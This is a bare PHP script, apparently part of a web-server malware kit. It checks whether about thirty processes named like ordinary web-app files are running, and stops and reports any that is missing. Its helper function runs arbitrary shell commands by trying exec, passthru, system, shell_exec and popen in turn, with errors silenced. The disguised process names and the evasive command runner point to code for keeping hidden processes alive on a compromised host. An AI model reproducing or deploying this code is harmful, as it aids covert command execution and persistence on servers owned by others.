<?php   $files = ['livehelp_step2','columns.inc','gallery_listings','zipdownload','language.tpl','addvoucher','waiting.plugin','class.resolution','fckeditor.upload','uninstall.k2','about.slovene3','am.article','edittemplate','gallery.lang_it','adwidgets','DigestMD5','methoduninstall','class.misc','Percentage','ratecategory','sidebarGenerator','tardownloader','coupon_restrict','saxparser','config_session','Theme.class','album_page','phpcompat','insertfile','customer_notes']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }